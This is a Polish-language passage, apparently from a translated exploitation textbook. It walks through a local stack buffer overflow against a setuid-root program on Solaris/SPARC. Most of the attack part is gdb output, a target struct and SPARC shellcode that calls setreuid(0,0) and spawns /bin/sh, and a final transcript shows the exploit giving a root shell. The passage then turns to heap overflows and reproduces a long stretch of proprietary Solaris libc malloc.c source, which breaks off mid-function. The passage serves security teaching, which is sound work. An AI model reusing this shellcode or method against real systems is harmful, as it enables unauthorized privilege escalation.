Pierwszym argumentem strcpy jest bufor docelowy, który w tym przypadku znajduje się 80 bajtów (0x50) przed wskaźnikiem ramki. Ramkę stosu dla funkcji wywołującej można zwykle znaleźć po tym, zaczynając od okna zapisanego rejestru. Pierwszym absolutnie krytycznym rejestrem w tym oknie byłby wskaźnik ramki %fp, który byłby piętnastym zapisanym rejestrem i umieszczonym z przesunięciem 56 bajtów w oknie rejestru. Dlatego oczekuje się, że wysyłając jako pierwszy argument ciąg dokładnie 136 bajtów, najwyższy bajt wskaźnika ramki zostanie uszkodzony, powodując awarię programu. Sprawdźmy to. Najpierw uruchamiamy z pierwszym argumentem 135 bajtów:

gdb ./stack_overflow

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you

are welcome to change it and/or distribute copies of it under certain

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB. Type “show warranty” for

details.

This GDB was configured as “sparc-sun-solaris2.8”...(no debugging

symbols found)…

(gdb) r `perl -e “print ‘A’ x 135”`

Starting program: /test/./stack_overflow `perl -e “print ‘A’ x 135”`

(no debugging symbols found)...(no debugging symbols found)…(no

debugging symbols found)…

Program exited normally.

Jak widać, gdy nadpisujemy rejestry, które nie są krytyczne dla wykonania programu, ale pozostawiamy wskaźnik ramki i wskaźnik instrukcji nietknięte, program kończy działanie normalnie i nie ulega awarii. Jednak, gdy dodamy jeden dodatkowy bajt do pierwszego argumentu programu, zachowanie jest zupełnie inne:

(gdb) r `perl -e “print ‘A’ x 136”`

Starting program: /test/./stack_overflow `perl -e “print ‘A’ x 136”`

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)…

Program received signal SIGSEGV, Segmentation fault.

0x10704 in main ()

(gdb) x/i $pc

0x10704 <main+88>: restore

(gdb) print/x $fp

$1 = 0xbffd28

(gdb) print/x $i5

$2 = 0x41414141

(gdb)

W tym przypadku starszy bajt wskaźnika ramki (%i6 lub %fp) został nadpisany przez bajt pusty kończący pierwszy argument. Jak widać, poprzedni zapisany rejestr %i5 został uszkodzony przez As. Bezpośrednio za wskaźnikiem zapisanej ramki znajduje się wskaźnik zapisanej instrukcji i nadpisanie, które spowoduje wykonanie dowolnego kodu. Znamy rozmiar ciągu znaków niezbędny do nadpisania krytycznych informacji i jesteśmy teraz gotowi do rozpoczęcia opracowywania exploitów

Exploit

Exploit wykorzystujący tę lukę będzie stosunkowo prosty. Wykona on podatny program z pierwszym argumentem wystarczająco długim, aby wywołać przepełnienie. Ponieważ będzie to lokalny exploit, będziemy w pełni kontrolować zmienne środowiskowe i będzie to dobre miejsce do niezawodnego umieszczania i wykonywania szelkodu. Jedyną niezbędną informacją jest adres szelkodu w pamięci i możemy stworzyć w pełni funkcjonalny exploit. Exploit zawiera docelową strukturę, która określa różne informacje specyficzne dla platformy, które zmieniają się z jednej wersji systemu operacyjnego na następną.

struct {

char *name;

int length_until_fp;

unsigned long fp_value;

unsigned long pc_value;

int align;

} targets[] = {

{

“Solaris 9 Ultra-Sparc”,

136,

0xffbf1238,

0xffbf1010,

0

}

};

Struktura zawiera długość niezbędną do rozpoczęcia nadpisywania wskaźnika ramki, a także wartość, którą należy nadpisać wskaźnik ramki i licznik programu. Sam kod exploita po prostu konstruuje ciąg rozpoczynający się od 136 bajtów wypełnienia, po którym następują określone wartości wskaźnika ramki i licznika programu. Exploit zawiera następujący szelkod, który jest umieszczany w środowisku programu wraz z dopełnieniem NOP:

static char setreuid_code[]= “\x90\x1d\xc0\x17” // xor %l7, %l7,

%o0

“\x92\x1d\xc0\x17” // xor %l7, %l7,

%o1

“\x82\x10\x20\xca” // mov 202, %g1

“\x91\xd0\x20\x08”; // ta 8

static char shellcode[]=”\x20\xbf\xff\xff” // bn,a scode - 4

“\x20\xbf\xff\xff” // bn,a scode

“\x7f\xff\xff\xff” // call scode + 4

“\x90\x03\xe0\x20” // add %o7, 32, %o0

“\x92\x02\x20\x08” // add %o0, 8, %o1

“\xd0\x22\x20\x08” // st %o0, [%o0 + 8]

“\xc0\x22\x60\x04” // st %g0, [%o1 + 4]

“\xc0\x2a\x20\x07” // stb %g0, [%o0 + 7]

“\x82\x10\x20\x0b” // mov 11, %g1

“\x91\xd0\x20\x08” // ta 8

“/bin/sh”;

Shellcode wykonuje setreuid(0,0), najpierw, aby ustawić rzeczywisty i efektywny identyfikator użytkownika na root, a następnie uruchamia omówiony wcześniej kod powłoki execv. Exploit przy pierwszym uruchomieniu wykonuje następujące czynności:

gdb ./stack_exploit

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you

Are welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB. Type “show warranty” for details.

This GDB was configured as “sparc-sun-solaris2.8”…(no debugging

symbols

found)…

(gdb) r 0

Starting program: /test/./stack_exploit 0

(no debugging symbols found)…(no debugging symbols found)…(no

debugging symbols found)…

Program received signal SIGTRAP, Trace/breakpoint trap.

0xff3c29a8 in ?? ()

(gdb) c

Continuing.

Program received signal SIGILL, Illegal instruction.

0xffbf1018 in ?? ()

(gdb)

Wygląda na to, że exploit działał zgodnie z oczekiwaniami. Nadpisaliśmy licznik programu wartością określoną w naszym exploicie, a po powrocie wykonanie zostało przeniesione do tego punktu. W tamtym czasie program uległ awarii, ponieważ pod tym adresem znajdowała się nieprawidłowa instrukcja, ale teraz mamy możliwość skierowania wykonania do dowolnego punktu w przestrzeni adresowej procesu. Następnym krokiem jest wyszukanie naszego shellcodu w pamięci i przekierowanie wykonania na ten adres. Nasz shellcode powinien być bardzo rozpoznawalny, ponieważ jest wypełniony dużą liczbą instrukcji podobnych do NOP. Wiemy, że znajduje się w środowisku programowym i dlatego powinien znajdować się gdzieś blisko wierzchołka stosu, więc poszukajmy go tam.

(gdb) x/128x $sp

0xffbf1238: 0x00000000 0x00000000 0x00000000 0x00000000

0xffbf1248: 0x00000000 0x00000000 0x00000000 0x00000000

0xffbf1258: 0x00000000 0x00000000 0x00000000 0x00000000

0xffbf1268: 0x00000000 0x00000000 0x00000000 0x00000000

Po naciśnięciu klawisza Enter kilkadziesiąt razy, znajdujemy na stosie coś, co wygląda bardzo podobnie do naszego shellcodu.

gdb)

0xffbffc38: 0x2fff8018 0x2fff8018 0x2fff8018 0x2fff8018

0xffbffc48: 0x2fff8018 0x2fff8018 0x2fff8018 0x2fff8018

0xffbffc58: 0x2fff8018 0x2fff8018 0x2fff8018 0x2fff8018

0xffbffc68: 0x2fff8018 0x2fff8018 0x2fff8018 0x2fff8018

Powtarzający się wzorzec bajtów jest naszą instrukcją wypełniającą i znajduje się na stosie pod adresem 0xffbffe44. Jednak coś oczywiście jest nie tak. W ramach exploita użyta instrukcja braku operacji jest zdefiniowana jako:

#define NOP „\x80\x18\x2f\xff”

Wzorzec bajtów w pamięci wyrównany do granicy 4 bajtów to \x2f\xff\x80\x18. Ponieważ instrukcje SPARC mają zawsze 4-bajtowe wyrównan9e, nie możemy po prostu skierować naszego licznika nadpisanego programu na adres 2 bajty od granicy. Spowodowałoby to natychmiastową awarię magistrali. Jednak dodając dwa bajty dopełniające do zmiennej środowiskowej, jesteśmy w stanie poprawnie wyrównać nasz kod powłoki i poprawnie umieścić nasze instrukcje na granicy 4 bajtów. Po wprowadzeniu tej zmiany i wskazaniu exploita we właściwym miejscu w pamięci powinniśmy być w stanie wykonać powłokę.

struct {

char *name;

int length_until_fp;

unsigned long fp_value;

unsigned long pc_value;

int align;

} targets[] = {

{

“Solaris 9 Ultra-Sparc”,

136,

0xffbf1238,

0xffbffc38,

2

}

};

Poprawiony exploit powinien teraz uruchamiać powłokę. Sprawdźmy, czy tak.

```
$ uname -a

SunOS unknown 5.9 Generic sun4u sparc SUNW,Ultra-5_10

$ ls -al stack_overflow

-rwsr-xr-x 1 root other 6800 Aug 19 20:22 stack_overflow

$ id

uid=60001(nobody) gid=60001(nobody)

$ ./stack_exploit 0

# id

uid=0(root) gid=60001(nobody)

#
```

Ten przykład exploita był najlepszym scenariuszem dla wykorzystania, w którym żaden z wymienionych wcześniej komplikujących czynników nie wszedł w grę. Przy odrobinie szczęścia wykorzystanie większości przepełnień stosu powinno być prawie tak samo proste.

Przepełnienia oparte na stercie w systemie Solaris/SPARC

Przepełnienia oparte na stercie są najprawdopodobniej częściej wykrywane niż przepełnienia stosu w nowoczesnych badaniach podatności. Są powszechnie wykorzystywane z dużą niezawodnością; jednak są one zdecydowanie mniej niezawodne do wykorzystania niż przepełnienia oparte na stosie. W przeciwieństwie do stosu, informacje o przepływie wykonywania nie są z definicji przechowywane na stercie. Istnieją dwie ogólne metody wykonywania dowolnego kodu przez przepełnienie sterty. Atakujący może albo spróbować nadpisać dane specyficzne dla programu przechowywane na stercie, albo uszkodzić struktury kontrolne sterty. Nie wszystkie implementacje sterty przechowują struktury kontrolne w linii na stercie; jednak implementacja Solaris System V tak. Przepełnienie stosu można postrzegać jako proces dwuetapowy. Pierwszym krokiem jest rzeczywiste przepełnienie, które nadpisuje zapisany licznik programu. Drugim krokiem jest powrót, który trafia do dowolnego miejsca w pamięci. W przeciwieństwie do tego, przepełnienie sterty, które uszkadza struktury kontrolne, może być ogólnie postrzegane jako proces trójetapowy. Pierwszym krokiem jest oczywiście przepełnienie, które nadpisuje struktury kontrolne. Drugim krokiem byłoby przetwarzanie implementacji sterty uszkodzonych struktur kontrolnych, skutkujące arbitralnym nadpisaniem pamięci. Ostatnim krokiem byłaby jakaś operacja programu, która powoduje przejście do określonej lokalizacji w pamięci, być może wywołanie wskaźnika do funkcji lub wracając ze zmienionym wskaźnikiem zapisanej instrukcji. Wymagany dodatkowy krok dodaje pewien stopień zawodności i komplikuje proces przepełnienia sterty. Aby je niezawodnie wykorzystać, często trzeba albo powtórzyć atak, albo mieć konkretną wiedzę na temat wykorzystywanego systemu. Jeśli przydatne informacje specyficzne dla programu są przechowywane na stercie w zasięgu przepełnienia, często bardziej pożądane jest nadpisanie ich niż struktur kontrolnych. Najlepszym celem nadpisania jest dowolny wskaźnik funkcji, a jeśli można go nadpisać, ta metoda może sprawić, że wykorzystanie przepełnienia sterty będzie bardziej niezawodne niż jest to możliwe przez nadpisywanie struktur kontrolnych.

Wprowadzenie do sterty Solaris System V

Implementacja sterty Solarisa jest oparta na samodostosowującym się drzewie binarnym, uporządkowanym według rozmiaru porcji. Prowadzi to do dość skomplikowanej implementacji sterty,

co skutkuje kilkoma sposobami uzyskania eksploatacji. Podobnie jak w przypadku wielu innych implementacji sterty, lokalizacje i rozmiary porcji są wyrównywane do granicy 8-bajtowej. Najniższy bit rozmiaru porcji jest zarezerwowany, aby określić, czy bieżąca porcja jest w użyciu, a drugi najniższy bit jest zarezerwowany aby określić, czy poprzedni blok w pamięci jest wolny. Sama funkcja free() (_free_unlocked) praktycznie nic nie robi, a wszystkie operacje związane ze zwalnianiem fragmentu pamięci są wykonywane przez funkcję o nazwie realfree(). Funkcja free() po prostu wykonuje kilka minimalnych kontroli poprawności zwalnianego fragmentu, a następnie umieszcza go na wolnej liście, co zostanie omówione później. Kiedy wolna lista się zapełni lub gdy wywołane są malloc/realloc, funkcja o nazwie cleanfree() opróżnia listę wolnych. Implementacja sterty Solaris wykonuje operacje typowe dla większości implementacji sterty. Sterta jest powiększana za pomocą wywołania systemowego sbrk, gdy jest to konieczne, a sąsiednie wolne porcje są konsolidowane, gdy jest to możliwe.

Struktura drzewa sterty

Nie jest naprawdę konieczne zrozumienie struktury drzewa sterty Solaris, aby wykorzystać przepełnienia sterty; jednak w przypadku metod innych niż najprostsze przydatne jest poznanie struktury drzewa. Pełny kod źródłowy implementacji sterty używanej w ogólnej bibliotece Solaris libc jest pokazany tutaj. Pierwszy kod źródłowy to malloc.c; drugi, mallint.h.

/* Copyright (c) 1988 AT&T */

/* All Rights Reserved */

/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */

/* The copyright notice above does not evidence any */

/* actual or intended publication of such source code. */

/*

* Copyright (c) 1996, by Sun Microsystems, Inc.

* All rights reserved.

*/

#pragma ident “@(#)malloc.c 1.18 98/07/21 SMI” /* SVr4.0 1.30 */

/*LINTLIBRARY*/

/*

* Memory management: malloc(), realloc(), free().

*

* The following #-parameters may be redefined:

* SEGMENTED: if defined, memory requests are assumed to be

* non-contiguous across calls of GETCORE′s.

* GETCORE: a function to get more core memory. If not SEGMENTED,

* GETCORE(0) is assumed to return the next available

```
* address. Default is ‘sbrk’.
* ERRCORE: the error code as returned by GETCORE.
* Default is (char *)(-1).
* CORESIZE: a desired unit (measured in bytes) to be used
* with GETCORE. Default is (1024*ALIGN).
*
* This algorithm is based on a best fit strategy with lists of
* free elts maintained in a self-adjusting binary tree. Each list
* contains all elts of the same size. The tree is ordered by size.
* For results on self-adjusting trees, see the paper:
* Self-Adjusting Binary Trees,
* DD Sleator & RE Tarjan, JACM 1985.
*
* The header of a block contains the size of the data part in bytes.
* Since the size of a block is 0%4, the low two bits of the header
* are free and used as follows:
*
* BIT0: 1 for busy (block is in use), 0 for free.
* BIT1: if the block is busy, this bit is 1 if the
* preceding block in contiguous memory is free.
* Otherwise, it is always 0.
*/
#include “synonyms.h”
#include < mtlib.h >
#include < sys/types.h >
#include < stdlib.h >
#include < string.h >
#include < limits.h >
#include “mallint.h”
static TREE *Root, /* root of the free tree */
*Bottom, /* the last free chunk in the arena */
```

```
*_morecore(size_t); /* function to get more core */
static char *Baddr; /* current high address of the arena */
static char *Lfree; /* last freed block with data intact */
static void t_delete(TREE *);
static void t_splay(TREE *);
static void realfree(void *);
static void cleanfree(void *);
static void *_malloc_unlocked(size_t);
#define FREESIZE (1<<5) /* size for preserving free blocks until
next malloc */
#define FREEMASK FREESIZE-1
static void *flist[FREESIZE]; /* list of blocks to be freed on next
malloc */
static int freeidx; /* index of free blocks in flist % FREESIZE
*/
/*
* Allocation of small blocks
*/
static TREE *List[MINSIZE/WORDSIZE-1]; /* lists of small blocks */
static void *
_smalloc(size_t size)
{
TREE *tp;
size_t i;
ASSERT(size % WORDSIZE == 0);
/* want to return a unique pointer on malloc(0) */
if (size == 0)
size = WORDSIZE;
/* list to use */
i = size / WORDSIZE - 1;
if (List[i] == NULL) {
```

```
TREE *np;
int n;
/* number of blocks to get at one time */
#define NPS (WORDSIZE*8)
ASSERT((size + WORDSIZE) * NPS >= MINSIZE);
/* get NPS of these block types */
if ((List[i] = _malloc_unlocked((size + WORDSIZE) * NPS)) ==
0)
return (0);
/* make them into a link list */
for (n = 0, np = List[i]; n < NPS; ++n) {
tp = np;
SIZE(tp) = size;
np = NEXT(tp);
AFTER(tp) = np;
}
AFTER(tp) = NULL;
}
/* allocate from the head of the queue */
tp = List[i];
List[i] = AFTER(tp);
SETBIT0(SIZE(tp));
return (DATA(tp));
}
void *
malloc(size_t size)
{
void *ret;
(void) _mutex_lock(&__malloc_lock);
ret = _malloc_unlocked(size);
(void) _mutex_unlock(&__malloc_lock);
```

```
return (ret);
}
static void *
_malloc_unlocked(size_t size)
{
size_t n;
TREE *tp, *sp;
size_t o_bit1;
COUNT(nmalloc);
ASSERT(WORDSIZE == ALIGN);
/* make sure that size is 0 mod ALIGN */
ROUND(size);
/* see if the last free block can be used */
if (Lfree) {
sp = BLOCK(Lfree);
n = SIZE(sp);
CLRBITS01(n);
if (n == size) {
/*
* exact match, use it as is
*/
freeidx = (freeidx + FREESIZE - 1) &
FREEMASK; /* 1 back */
flist[freeidx] = Lfree = NULL;
return (DATA(sp));
} else if (size >= MINSIZE && n > size) {
/*
* got a big enough piece
*/
freeidx = (freeidx + FREESIZE - 1) &
FREEMASK; /* 1 back */
```

```
flist[freeidx] = Lfree = NULL;
o_bit1 = SIZE(sp) & BIT1;
SIZE(sp) = n;
goto leftover;
}
}
o_bit1 = 0;
/* perform free's of space since last malloc */
cleanfree(NULL);
/* small blocks */
if (size < MINSIZE)
return (_smalloc(size));
/* search for an elt of the right size */
sp = NULL;
n = 0;
if (Root) {
tp = Root;
while (1) {
/* branch left */
if (SIZE(tp) >= size) {
if (n == 0 || n >= SIZE(tp)) {
sp = tp;
n = SIZE(tp);
}
if (LEFT(tp))
tp = LEFT(tp);
else
break;
} else { /* branch right */
if (RIGHT(tp))
tp = RIGHT(tp);
```

```
else
break;
}
}
if (sp) {
t_delete(sp);
} else if (tp != Root) {
/* make the searched-to element the root */
t_splay(tp);
Root = tp;
}
}
/* if found none fitted in the tree */
if (!sp) {
if (Bottom && size <= SIZE(Bottom)) {
sp = Bottom;
CLRBITS01(SIZE(sp));
} else if ((sp = _morecore(size)) == NULL) /* no more memory
*/
return (NULL);
}
/* tell the forward neighbor that we're busy */
CLRBIT1(SIZE(NEXT(sp)));
ASSERT(ISBIT0(SIZE(NEXT(sp))));
leftover:
/* if the leftover is enough for a new free piece */
if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) {
n -= WORDSIZE;
SIZE(sp) = size;
tp = NEXT(sp);
SIZE(tp) = n|BIT0;
```

```
realfree(DATA(tp));
} else if (BOTTOM(sp))
Bottom = NULL;
/* return the allocated space */
SIZE(sp) |= BIT0 | o_bit1;
return (DATA(sp));
}
/*
* realloc().
*
* If the block size is increasing, we try forward merging first.
* This is not best-fit but it avoids some data recopying.
*/
void *
realloc(void *old, size_t size)
{
TREE *tp, *np;
size_t ts;
char *new;
COUNT(nrealloc);
/* pointer to the block */
(void) _mutex_lock(&__malloc_lock);
if (old == NULL) {
new = _malloc_unlocked(size);
(void) _mutex_unlock(&__malloc_lock);
return (new);
}
/* perform free's of space since last malloc */
cleanfree(old);
/* make sure that size is 0 mod ALIGN */
ROUND(size);
```

```
tp = BLOCK(old);
ts = SIZE(tp);
/* if the block was freed, data has been destroyed. */
if (!ISBIT0(ts)) {
(void) _mutex_unlock(&__malloc_lock);
return (NULL);
}
/* nothing to do */
CLRBITS01(SIZE(tp));
if (size == SIZE(tp)) {
SIZE(tp) = ts;
(void) _mutex_unlock(&__malloc_lock);
return (old);
}
/* special cases involving small blocks */
if (size < MINSIZE || SIZE(tp) < MINSIZE)
goto call_malloc;
/* block is increasing in size, try merging the next block */
if (size > SIZE(tp)) {
np = NEXT(tp);
if (!ISBIT0(SIZE(np))) {
ASSERT(SIZE(np) >= MINSIZE);
ASSERT(!ISBIT1(SIZE(np)));
SIZE(tp) += SIZE(np) + WORDSIZE;
if (np != Bottom)
t_delete(np);
else
Bottom = NULL;
CLRBIT1(SIZE(NEXT(np)));
}
#ifndef SEGMENTED
```

```
/* not enough & at TRUE end of memory, try extending core */
if (size > SIZE(tp) && BOTTOM(tp) && GETCORE(0) == Baddr) {
Bottom = tp;
if ((tp = _morecore(size)) == NULL) {
tp = Bottom;
Bottom = NULL;
}
}
#endif
}
/* got enough space to use */
if (size <= SIZE(tp)) {
size_t n;
chop_big:
if ((n = (SIZE(tp) - size)) >= MINSIZE + WORDSIZE) {
n -= WORDSIZE;
SIZE(tp) = size;
np = NEXT(tp);
SIZE(np) = n|BIT0;
realfree(DATA(np));
} else if (BOTTOM(tp))
Bottom = NULL;
/* the previous block may be free */
SETOLD01(SIZE(tp), ts);
(void) _mutex_unlock(&__malloc_lock);
return (old);
}
/* call malloc to get a new block */
call_malloc:
SETOLD01(SIZE(tp), ts);
if ((new = _malloc_unlocked(size)) != NULL) {
```

```
CLRBITS01(ts);
if (ts > size)
ts = size;
MEMCOPY(new, old, ts);
_free_unlocked(old);
(void) _mutex_unlock(&__malloc_lock);
return (new);
}
/*
* Attempt special case recovery allocations since malloc() failed:
*
* 1. size <= SIZE(tp) < MINSIZE
* Simply return the existing block
* 2. SIZE(tp) < size < MINSIZE
* malloc() may have failed to allocate the chunk of
* small blocks. Try asking for MINSIZE bytes.
* 3. size < MINSIZE <= SIZE(tp)
* malloc() may have failed as with 2. Change to
* MINSIZE allocation which is taken from the beginning
* of the current block.
* 4. MINSIZE <= SIZE(tp) < size
* If the previous block is free and the combination of
* these two blocks has at least size bytes, then merge
* the two blocks copying the existing contents backwards.
*/
CLRBITS01(SIZE(tp));
if (SIZE(tp) < MINSIZE) {
if (size < SIZE(tp)) { /* case 1. */
SETOLD01(SIZE(tp), ts);
(void) _mutex_unlock(&__malloc_lock);
return (old);
```

```
} else if (size < MINSIZE) { /* case 2. */
size = MINSIZE;
goto call_malloc;
}
} else if (size < MINSIZE) { /* case 3. */
size = MINSIZE;
goto chop_big;
} else if (ISBIT1(ts) &&
(SIZE(np = LAST(tp)) + SIZE(tp) + WORDSIZE) >= size) {
ASSERT(!ISBIT0(SIZE(np)));
t_delete(np);
SIZE(np) += SIZE(tp) + WORDSIZE;
/*
* Since the copy may overlap, use memmove() if available.
* Otherwise, copy by hand.
*/
(void) memmove(DATA(np), old, SIZE(tp));
old = DATA(np);
tp = np;
CLRBIT1(ts);
goto chop_big;
}
SETOLD01(SIZE(tp), ts);
(void) _mutex_unlock(&__malloc_lock);
return (NULL);
}
/*
* realfree().
*
* Coalescing of adjacent free blocks is done first.
* Then, the new free block is leaf-inserted into the free tree
```

```
* without splaying. This strategy does not guarantee the amortized
* O(nlogn) behavior for the insert/delete/find set of operations
* on the tree. In practice, however, free is much more infrequent
* than malloc/realloc and the tree searches performed by these
* functions adequately keep the tree in balance.
*/v
static void
realfree(void *old)
{
TREE *tp, *sp, *np;
size_t ts, size;
COUNT(nfree);
/* pointer to the block */
tp = BLOCK(old);
ts = SIZE(tp);
if (!ISBIT0(ts))
return;
CLRBITS01(SIZE(tp));
/* small block, put it in the right linked list */
if (SIZE(tp) < MINSIZE) {
ASSERT(SIZE(tp) / WORDSIZE >= 1);
ts = SIZE(tp) / WORDSIZE - 1;
AFTER(tp) = List[ts];
List[ts] = tp;
return;
}
/* see if coalescing with next block is warranted */
np = NEXT(tp);
if (!ISBIT0(SIZE(np))) {
if (np != Bottom)
t_delete(np);
```

```
SIZE(tp) += SIZE(np) + WORDSIZE;
}
/* the same with the preceding block */
if (ISBIT1(ts)) {
np = LAST(tp);
ASSERT(!ISBIT0(SIZE(np)));
ASSERT(np != Bottom);
t_delete(np);
SIZE(np) += SIZE(tp) + WORDSIZE;
tp = np;
}
/* initialize tree info */
PARENT(tp) = LEFT(tp) = RIGHT(tp) = LINKFOR(tp) = NULL;
/* the last word of the block contains self's address */
*(SELFP(tp)) = tp;
/* set bottom block, or insert in the free tree */
if (BOTTOM(tp))
Bottom = tp;
else {
/* search for the place to insert */
if (Root) {
size = SIZE(tp);
np = Root;
while (1) {
if (SIZE(np) > size) {
if (LEFT(np))
np = LEFT(np);
else {
LEFT(np) = tp;
PARENT(tp) = np;
break;
```

```
}
} else if (SIZE(np) < size) {
if (RIGHT(np))
np = RIGHT(np);
else {
RIGHT(np) = tp;
PARENT(tp) = np;
break;
}
} else {
if ((sp = PARENT(np)) != NULL) {
if (np == LEFT(sp))
LEFT(sp) = tp;
else
RIGHT(sp) = tp;
PARENT(tp) = sp;
} else
Root = tp;
/* insert to head of list */
if ((sp = LEFT(np)) != NULL)
PARENT(sp) = tp;
LEFT(tp) = sp;
if ((sp = RIGHT(np)) != NULL)
PARENT(sp) = tp;
RIGHT(tp) = sp;
/* doubly link list */
LINKFOR(tp) = np;
LINKBAK(np) = tp;
SETNOTREE(np);
break;
}
```

```
}
} else
Root = tp;
}
/* tell next block that this one is free */
SETBIT1(SIZE(NEXT(tp)));
ASSERT(ISBIT0(SIZE(NEXT(tp))));
}
/*
* Get more core. Gaps in memory are noted as busy blocks.
*/
static TREE *
_morecore(size_t size)
{
TREE *tp;
size_t n, offset;
char *addr;
size_t nsize;
/* compute new amount of memory to get */
tp = Bottom;
n = size + 2 * WORDSIZE;
addr = GETCORE(0);
if (addr == ERRCORE)
return (NULL);
/* need to pad size out so that addr is aligned */
if ((((size_t)addr) % ALIGN) != 0)
offset = ALIGN - (size_t)addr % ALIGN;
else
offset = 0;
#ifndef SEGMENTED
/* if not segmented memory, what we need may be smaller */
```

```
if (addr == Baddr) {
n -= WORDSIZE;
if (tp != NULL)
n -= SIZE(tp);
}
#endif
/* get a multiple of CORESIZE */
n = ((n - 1) / CORESIZE + 1) * CORESIZE;
nsize = n + offset;
if (nsize == ULONG_MAX)
return (NULL);
if (nsize <= LONG_MAX) {
if (GETCORE(nsize) == ERRCORE)
return (NULL);
} else {
intptr_t delta;
/*
* the value required is too big for GETCORE() to deal with
* in one go, so use GETCORE() at most 2 times instead.
*/
delta = LONG_MAX;
while (delta > 0) {
if (GETCORE(delta) == ERRCORE) {
if (addr != GETCORE(0))
(void) GETCORE(-LONG_MAX);
return (NULL);
}
nsize -= LONG_MAX;
delta = nsize;
}
}
```

```
/* contiguous memory */
if (addr == Baddr) {
ASSERT(offset == 0);
if (tp) {
addr = (char *)tp;
n += SIZE(tp) + 2 * WORDSIZE;
} else {
addr = Baddr - WORDSIZE;
n += WORDSIZE;
}
} else
addr += offset;
/* new bottom address */
Baddr = addr + n;
/* new bottom block */
tp = (TREE *)addr;
SIZE(tp) = n - 2 * WORDSIZE;
ASSERT((SIZE(tp) % ALIGN) == 0);
/* reserved the last word to head any noncontiguous memory */
SETBIT0(SIZE(NEXT(tp)));
/* non-contiguous memory, free old bottom block */
if (Bottom && Bottom != tp) {
SETBIT0(SIZE(Bottom));
realfree(DATA(Bottom));
}
return (tp);
}
/*
* Tree rotation functions (BU: bottom-up, TD: top-down)
*/
#define LEFT1(x, y) \
```

```
if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\
if ((PARENT(y) = PARENT(x)) != NULL)\
if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\
else RIGHT(PARENT(y)) = y;\
LEFT(y) = x; PARENT(x) = y
#define RIGHT1(x, y) \
if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\
if ((PARENT(y) = PARENT(x)) != NULL)\
if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\
else RIGHT(PARENT(y)) = y;\
RIGHT(y) = x; PARENT(x) = y
#define BULEFT2(x, y, z) \
if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\
if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\
if ((PARENT(z) = PARENT(x)) != NULL)\
if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
else RIGHT(PARENT(z)) = z;\
LEFT(z) = y; PARENT(y) = z; LEFT(y) = x; PARENT(x) = y
#define BURIGHT2(x, y, z) \
if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\
if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\
if ((PARENT(z) = PARENT(x)) != NULL)\
if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
else RIGHT(PARENT(z)) = z;\
RIGHT(z) = y; PARENT(y) = z; RIGHT(y) = x; PARENT(x) = y
#define TDLEFT2(x, y, z) \
if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\
if ((PARENT(z) = PARENT(x)) != NULL)\
if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
else RIGHT(PARENT(z)) = z;\
PARENT(x) = z; LEFT(z) = x;
```

```
#define TDRIGHT2(x, y, z) \
if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\
if ((PARENT(z) = PARENT(x)) != NULL)\
if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
else RIGHT(PARENT(z)) = z;\
PARENT(x) = z; RIGHT(z) = x;
/*
* Delete a tree element
*/
static void
t_delete(TREE *op)
{
TREE *tp, *sp, *gp;
/* if this is a non-tree node */
if (ISNOTREE(op)) {
tp = LINKBAK(op);
if ((sp = LINKFOR(op)) != NULL)
LINKBAK(sp) = tp;
LINKFOR(tp) = sp;
return;
}
/* make op the root of the tree */
if (PARENT(op))
t_splay(op);
/* if this is the start of a list */
if ((tp = LINKFOR(op)) != NULL) {
PARENT(tp) = NULL;
if ((sp = LEFT(op)) != NULL)
PARENT(sp) = tp;
LEFT(tp) = sp;
if ((sp = RIGHT(op)) != NULL)
```

```
PARENT(sp) = tp;
RIGHT(tp) = sp;
Root = tp;
return;
}
/* if op has a non-null left subtree */
if ((tp = LEFT(op)) != NULL) {
PARENT(tp) = NULL;
if (RIGHT(op)) {
/* make the right-end of the left subtree its root */
while ((sp = RIGHT(tp)) != NULL) {
if ((gp = RIGHT(sp)) != NULL) {
TDLEFT2(tp, sp, gp);
tp = gp;
} else {
LEFT1(tp, sp);
tp = sp;
}
}
/* hook the right subtree of op to the above elt */
RIGHT(tp) = RIGHT(op);
PARENT(RIGHT(tp)) = tp;
}
} else if ((tp = RIGHT(op)) != NULL) /* no left subtree */
PARENT(tp) = NULL;
Root = tp;
}
/*
* Bottom up splaying (simple version).
* The basic idea is to roughly cut in half the
* path from Root to tp and make tp the new root.
```

```
*/
static void
t_splay(TREE *tp)
{
TREE *pp, *gp;
/* iterate until tp is the root */
while ((pp = PARENT(tp)) != NULL) {
/* grandparent of tp */
gp = PARENT(pp);
/* x is a left child */
if (LEFT(pp) == tp) {
if (gp && LEFT(gp) == pp) {
BURIGHT2(gp, pp, tp);
} else {
RIGHT1(pp, tp);
}
} else {
ASSERT(RIGHT(pp) == tp);
if (gp && RIGHT(gp) == pp) {
BULEFT2(gp, pp, tp);
} else {
LEFT1(pp, tp);
}
}
}
}
/*
* free().
* Performs a delayed free of the block pointed to
* by old. The pointer to old is saved on a list, flist,
* until the next malloc or realloc. At that time, all the
```

```
* blocks pointed to in flist are actually freed via
* realfree(). This allows the contents of free blocks to
* remain undisturbed until the next malloc or realloc.
*/
void
free(void *old)
{
